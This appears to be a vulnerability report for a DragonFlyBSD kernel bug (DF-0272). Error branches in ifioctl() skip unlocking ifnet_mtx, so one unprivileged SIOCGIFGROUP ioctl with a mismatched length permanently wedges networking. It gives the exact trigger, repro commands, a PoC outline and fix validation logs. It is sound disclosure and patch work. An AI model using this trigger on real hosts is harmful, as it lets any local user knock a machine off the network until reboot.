DF-0272 — ifnet_mtx leak via SIOCGIFGROUP / SIOCAIFGROUP / SIOCDIFGROUP / SIOCSIFDESCR

Unprivileged local DoS. One syscall from uid 1001 permanently wedges the entire DragonFlyBSD network subsystem; reboot required.

Build

cc -O2 -Wall -o poc poc.c        # or: ./build.sh

Run (as unprivileged user — maxx uid 1001)

./poc                            # or: ./run.sh

Expected on the vulnerable master DEV kernel

[*] lo0 real group_len=32
[+] trigger ioctl (len=33) rc=-1 errno=22 (Invalid argument)
[!] child PID <n> still alive after 6 s — DEADLOCK CONFIRMED

At that point ifnet_mtx is permanently held by the (long-returned) triggering thread. Any subsequent network operation that needs ifnet_lock() blocks forever in D-state and is unkillable:

• ifconfig lo0 from a fresh SSH session hangs forever (verified — timeout 4 ifconfig cannot interrupt; the SSH session had to be torn down by the harness at 120 s).
• route, interface up/down, packet socket operations — all blocked.

Recovery: dfbsd-qemu/vm.sh reset.

On a fixed kernel (with fix.diff applied) the trigger still returns EINVAL, but the lock is released and the second ioctl returns immediately — the PoC prints RESULT: NO_DEADLOCK and exits cleanly.

Mechanism (one-liner)

ifioctl() takes ifnet_mtx at sys/net/if.c:2029 and unlocks at sys/net/if.c:2450; six return (error) branches inside that region skip the unlock. SIOCGIFGROUP (sys/net/if.c:2403-2407) is the easiest unprivileged path — no caps_priv_check at all.

See VERDICT.md for the full line-by-line trace and fix.diff for the verified one-line-per-site fix.

DF-0272 — SIOCGIFGROUP/SIOCAIFGROUP/SIOCDIFGROUP/SIOCSIFDESCR leak ifnet_mtx

Verdict

REPRODUCED. Unprivileged local user → permanent, system-wide network deadlock (DoS). Confirmed twice on the master DEV guest:

1. From within the PoC: the second SIOCGIFGROUP ioctl (on a fresh socket, same process) blocks forever — the forked child is still alive after the 6 s probe window and is unkillable (D-state).
2. From a separate fresh SSH session after the PoC exits the syscall: ifconfig lo0 (which dispatches through ifioctl() and reaches ifnet_lock()) blocks forever in D-state; timeout 4 ifconfig cannot interrupt it and the ssh session is torn down at the 120 s harness limit.

No panic, no kernel message — the kernel just hangs every caller of ifnet_lock() forever. Recovery requires a hard reboot (vm.sh reset).

Root cause (every hop cited)

ifioctl() (sys/net/if.c:1979) acquires the global mutex ifnet_mtx (sys/net/if.c:195, MTX_INITIALIZER("ifnet")) at sys/net/if.c:2029 (ifnet_lock()) — implemented at sys/net/if.c:3784-3790 as mtx_lock(&ifnet_mtx), a non-recursive sleeping mutex. The matching unlock is at sys/net/if.c:2450 (ifnet_unlock()), reached only by falling through the end of the switch (cmd) via break.

Six error branches inside that locked switch use return (error) instead of break, jumping over the unlock:

SIOCGIFGROUP is the cleanest unprivileged trigger:

// sys/net/if.c:2403-2407   (SIOCGIFGROUP — no caps_priv_check anywhere)
case SIOCGIFGROUP:
    ifgr = (struct ifgroupreq *)ifr;
    if ((error = if_getgroups(ifgr, ifp)))   // returns EINVAL at :1282
        return (error);                       // :2406 LEAKS ifnet_mtx
    break;

if_getgroups() returns EINVAL whenever ifgr->ifgr_len is non-zero and does not equal the actual per-iface group-list size (sys/net/if.c:1281-1283). Any unprivileged user with a UDP socket can do this:

• socket(AF_INET, SOCK_DGRAM, 0) — no privilege needed
• ioctl(s, SIOCGIFGROUP, &ifgr) with ifgr.ifgr_len set to any value that does not match the live group count (the PoC probes the real length first with len=0, then sends len=real+1).

The SIOCGIFGROUP constant is _IOWR('i', 136, struct ifgroupreq) (sys/sys/sockio.h:125). sys_socket.c:180-181 dispatches anything in the 'i' ioctl group to ifioctl() with no privilege check at the socket layer; the SIOCGIFGROUP handler itself performs no caps_priv_check, so the path is wide open to uid 1001.

(SIOCAIFGROUP/SIOCDIFGROUP at lines 2387/2396 do call caps_priv_check(cred, SYSCAP_NONET_IFCONFIG) after ifnet_lock() is already held — and their failure branches at lines 2389/2398 also return (error), so even an unprivileged user asking to add or delete a group leaks the lock too. SIOCSIFDESCR at line 2112 is gated by SYSCAP_RESTRICTEDROOT (line 2101) so its leak is root-only, but it's still a real bug — a root process can wedge the box by accident.)

Why the wedge is total

ifnet_mtx is a single, global, non-recursive mutex protecting the entire interface list and the ifioctl switch. Once leaked, every subsequent call to ifnet_lock() sleeps forever — including ifconfig, route (via interface lookups), interface attach/detach, and any further ioctl in the 'i' group. The mutex owner is the long-gone userspace thread that returned from the syscall with the lock still held; nothing will ever release it short of a reboot. Affected callers block in uninterruptible (mtx_lock) sleep, so SIGKILL cannot reclaim them — that is why even timeout 4 ifconfig couldn't terminate and the SSH session had to be torn down by the harness.

Exploit chain / weaponisation

This is a pure DoS primitive (CWE-667 / CVSS 3.1 AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H — 5.5, Medium-to-High). There is no memory-corruption surface to escalate from: the bug is a control-flow (lock-drop) error, not an OOB/UAF. The realistic attacker value is a one-shot, irreversible, unprivileged "kill networking on this box" — which is exactly what the PoC demonstrates. No further escalation is derivable; no chain was developed.

Recovery is reboot-only. A non-root user can permanently deny service to every network operation on the host with a single syscall.

PoC changes

The finding shipped no PoC source tree at all (findings/poc/DF-0272/ did not exist). I authored:

• poc.c — minimal self-verifying trigger. Probes the real ifgr_len for lo0 with len=0, then sends len=real+1 to force the EINVAL branch and leak ifnet_mtx. Forks a child that immediately issues a second SIOCGIFGROUP on a fresh socket; if the child is still alive after a 6 s probe window, the deadlock is confirmed. The child is left in D-state (SIGKILL cannot wake it) — that itself is part of the proof.
• build.sh, run.sh — exact repro commands.
• fix.diff — converts all six bare return (error) inside the locked switch region to break so they fall through to ifnet_unlock() at line 2450.

Recommended fix

fix.diff supersedes the finding's proposal (which only listed line 2406 plus a "same fix to 2112/2389/2391/2398/2400" hand-wave — this diff covers all six sites with verified line numbers and applies cleanly with git apply). Single logical change: every return (error) / return (ENAMETOOLONG) inside the ifnet_lock()-held switch body of ifioctl() becomes break, so control flows to the ifnet_unlock(); return (error); epilog at sys/net/if.c:2450-2451.

How to reproduce

ssh dfbsd-maxx 'cd poc/DF-0272 && cc -O2 -Wall -o poc poc.c && ./poc'
# Expected: "[!] child PID <n> still alive after 6 s — DEADLOCK CONFIRMED"
# At that point ifconfig / any further net ioctl on the guest hangs forever
# and the box must be reset (dfbsd-qemu/vm.sh reset).

Fix validation (Phase 8 — re-run this session, 2026-07-02)

Baseline re-confirmed on the UNPATCHED #0 kernel (DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026):

[*] lo0 real group_len=32
[+] trigger ioctl (len=33) rc=-1 errno=22 (Invalid argument)
[!] child PID 942 still alive after 6 s — DEADLOCK CONFIRMED
(harness rc=124 — PoC's own waitpid on the D-state child blocked too)

Cross-session wedge proof: a fresh ifconfig lo0 from a separate ssh session blocked for the full 8 s timeout (rc=124) — the lock is globally held, every ifnet_lock() caller sleeps forever. No panic, no kernel message; reboot-only recovery.

Single-fix kernel built, installed, booted as #1 (DragonFly 6.5-DEVELOPMENT #1: Thu Jul 2 11:55:04 UTC 2026, kernel.stripped sha256 df6d8ac6…):

• Applied fix.diff to /usr/src (patch -p1, both hunks succeeded at lines 2109 and 2386; all six return (error) / return (ENAMETOOLONG) inside the ifnet_lock()-held switch body of ifioctl() now break).
• make -j6 nativekernel KERNCONF=X86_64_GENERIC → NK_DONE rc=0 (full 35329-line log in fix_build.log).
• Copied kernel.stripped → /boot/kernel/kernel (bare name the loader boots), kernel.debug → /boot/kernel/kernel.debug, sync, reboot.

Patched #1 result — fix CONFIRMED (ran 3× for determinism):

[*] lo0 real group_len=32
[+] trigger ioctl (len=33) rc=-1 errno=22 (Invalid argument)   # trigger still errors
[*] child exited normally (code=1) — second ioctl returned, NO deadlock
RESULT: NO_DEADLOCK

Follow-up network ops from a separate fresh ssh after 3 PoC runs:

IFCONFIG_DONE rc=0   (returned immediately — was permanently hung on #0)
ROUTE_DONE rc=0      (route -n get 127.0.0.1 returned immediately)

The trigger ioctl still returns EINVAL (the if_getgroups() size-mismatch error path is unchanged and correct), but the lock is now released by the break falling through to ifnet_unlock() at sys/net/if.c:2450. The network subsystem stays fully responsive.

Verdict: fix_status = fixed. Clean before/after: #0 deadlocks (internal child + cross-session ifconfig both hang) → #1 no deadlock (child exits, follow-up ops prompt). The fix closes the bug. See fix_run.log for the full patched-kernel transcript and fix_build.log for the full nativekernel build output.